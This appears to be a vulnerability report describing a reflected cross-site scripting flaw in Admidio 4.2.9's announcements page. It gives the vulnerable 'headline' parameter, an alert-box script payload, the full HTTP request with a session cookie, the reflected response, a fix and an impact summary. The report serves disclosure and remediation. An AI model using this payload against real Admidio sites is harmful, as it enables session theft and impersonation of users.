Description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Proof of Concept

URL: http://localhost/admidio-4.2.9/adm_program/modules/announcements/announcements.php
Vulnerable Parameter: headline

# Details:
URL encoded GET input headline was set to Announcements"><script>alert(9370)</script>

The input is reflected inside a tag parameter between double quotes.

HTTP Request:

GET /admidio-4.2.9/adm_program/modules/announcements/announcements.php?cat_uuid=0&headline=Announcements"><script>alert(9370)</script> HTTP/1.1
Referer: http://localhost/admidio-4.2.9/
Cookie: ADMIDIO_admidio_adm_SESSION_ID=1vv2p802t9j8fiek592n3p6uqj; ADMIDIO_admidio_adm_cookieconsent_status=dismiss
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

HTTP Response:

Redacted [*]

<p class="lead">The URL in the field <strong>http://localhost/admidio-4.2.9/adm_program/modules/announcements/announcements.php?cat_uuid=0&headline=Announcements"><script>alert(9370)</script></strong> contains invalid characters.<br /><br />Only alphabetic characters, umlauts, numbers 0-9 and special characters .-+_:/#?= are allowed.</p>

Screenshot

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.